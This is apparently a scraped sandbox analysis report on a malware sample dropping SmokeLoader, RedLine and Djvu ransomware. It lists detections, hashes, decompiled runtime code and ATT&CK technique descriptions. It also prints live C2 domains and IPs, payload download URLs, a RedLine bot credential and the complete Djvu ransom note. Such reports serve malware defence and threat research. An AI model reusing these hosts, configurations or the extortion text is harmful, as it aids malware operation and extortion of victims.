API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Uniqueness

Uniqueness Score: -1.00%

Function 048E3742 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 048E3768

Part of subcall function 048E358D: __fltout2.LIBCMT ref: 048E35B9

__cftog_l.LIBCMT ref: 048E378E
__cftoe_l.LIBCMT ref: 048E37C0

Memory Dump Source

Source File: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_48d0000_37F1.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 17ba66216f7f792f6c1d327fe7629805bd39f5794760cb2ea51505f217e1abb0
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 8711427200014DBBCF125E86CC458EE3F72BB4A354B498A25FE189A130E337D9B1AB81

Uniqueness

Uniqueness Score: -1.00%

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004134DB(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00412DCC(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00412EBC(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004133E1(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00413326(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x004134e0
0x004134e6
0x00413559
0x00000000
0x004134ed
0x004134ed
0x004134f0
0x0041350b
0x0041350e
0x0041352e
0x00413540
0x00413510
0x00413510
0x00413513
0x00000000
0x00413515
0x00413527
0x00413527
0x00413513
0x0041355e
0x00413562
0x004134f2
0x0041350a
0x0041350a
0x004134f0

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.532889681.0000000000426000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.532994487.0000000000440000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_37F1.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Uniqueness

Uniqueness Score: -1.00%

Source: http://95.217.246.41:80/815243149147.zipz	Avira URL Cloud: Label: malware
Source: http://95.217.246.41:80/815243149147.zip	Avira URL Cloud: Label: malware
Source: http://95.217.246.41/1752	Avira URL Cloud: Label: malware
Source: http://95.217.246.41/	Avira URL Cloud: Label: malware
Source: 78.153.144.3:2510	Avira URL Cloud: Label: malware
Source: http://185.174.137.70/s.exe	Avira URL Cloud: Label: malware
Source: http://95.217.246.41:80	Avira URL Cloud: Label: malware
Source: http://starvestitibo.org/Mozilla/5.0	URL Reputation: Label: malware
Source: http://95.217.246.41/815243149147.zip	Avira URL Cloud: Label: malware
Source: http://95.217.246.41/m	Avira URL Cloud: Label: malware
Source: http://95.217.27.155:80	Avira URL Cloud: Label: malware

Source: C:\Users\user\AppData\Local\Temp\37F1.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\405E.exe	ReversingLabs: Detection: 38%
Source: C:\Users\user\AppData\Local\Temp\49F6.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\509E.dll	ReversingLabs: Detection: 38%
Source: C:\Users\user\AppData\Local\Temp\5487.exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Roaming\gecbfdt	ReversingLabs: Detection: 38%
Source: C:\Users\user\AppData\Roaming\uucbfdt	ReversingLabs: Detection: 39%

Source: C:\Users\user\AppData\Local\Temp\405E.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5999.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\gecbfdt	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\45DE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\509E.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\49F6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5487.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\uucbfdt	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Joe Sandbox ML: detected

Source: 18.2.5487.exe.890e67.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 18.3.5487.exe.8f0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 30.0.gecbfdt.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.49F6.exe.400000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 17.2.regsvr32.exe.4ff0184.1.unpack	Avira: Label: TR/Kazy.4159236
Source: 15.0.49F6.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.49F6.exe.400000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.49F6.exe.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: Malware configuration extractor	URLs: http://fresherlights.com/lancer/get.php
Source: Malware configuration extractor	URLs: 78.153.144.3:2510
Source: Malware configuration extractor	URLs: http://hulimudulinu.net/
Source: Malware configuration extractor	URLs: http://stalnnuytyt.org/
Source: Malware configuration extractor	URLs: http://gulutina49org.org/
Source: Malware configuration extractor	URLs: http://furubujjul.net/
Source: Malware configuration extractor	URLs: http://starvestitibo.org/
Source: Malware configuration extractor	URLs: http://liubertiyyyul.net/
Source: Malware configuration extractor	URLs: http://bururutu44org.org/
Source: Malware configuration extractor	URLs: http://youyouumenia5.org/
Source: Malware configuration extractor	URLs: http://nvulukuluir.net/
Source: Malware configuration extractor	URLs: http://nuluitnulo.me/
Source: Malware configuration extractor	URLs: http://guluiiiimnstra.net/

Source: 00000000.00000002.356712809.0000000000710000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://hulimudulinu.net/", "http://stalnnuytyt.org/", "http://gulutina49org.org/", "http://furubujjul.net/", "http://starvestitibo.org/", "http://liubertiyyyul.net/", "http://bururutu44org.org/", "http://youyouumenia5.org/", "http://nvulukuluir.net/", "http://nuluitnulo.me/", "http://guluiiiimnstra.net/"]}
Source: 0000000C.00000002.549799190.0000000005F55000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "78.153.144.3:2510", "Bot Id": "slovarik1btc", "Authorization Header": "69236173f96390de00bb5a5120a1f3a0"}
Source: 00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://uaery.top/dl/build2.exe", "http://fresherlights.com/files/1/build3.exe"], "C2 url": "http://fresherlights.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-dyi5UcwIT9\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@fishmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0597Jhyjd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Djvu

Threatname: RedLine

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\00524103327335046441078177

C:\ProgramData\28782868176069075816534615

C:\ProgramData\44876058118800687391965244

C:\ProgramData\48699315731429539716450555

C:\ProgramData\52241653186896206030520942

C:\ProgramData\58104588985205123450110019

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_45DE.exe_b3c36ad93160e4414e3ec698cedf29c8410ddb6_f9ff7ecc_14da9915\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_49F6.exe_88d68c73c962642c5d81665eeb6ebaffc25a77e_490ff5e7_11c61f42\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_gecbfdt_c858373094792a63fea071725b1e5fecc55c13a_62df2180_159687c0\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14B4.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER167A.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C3.tmp.xml

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre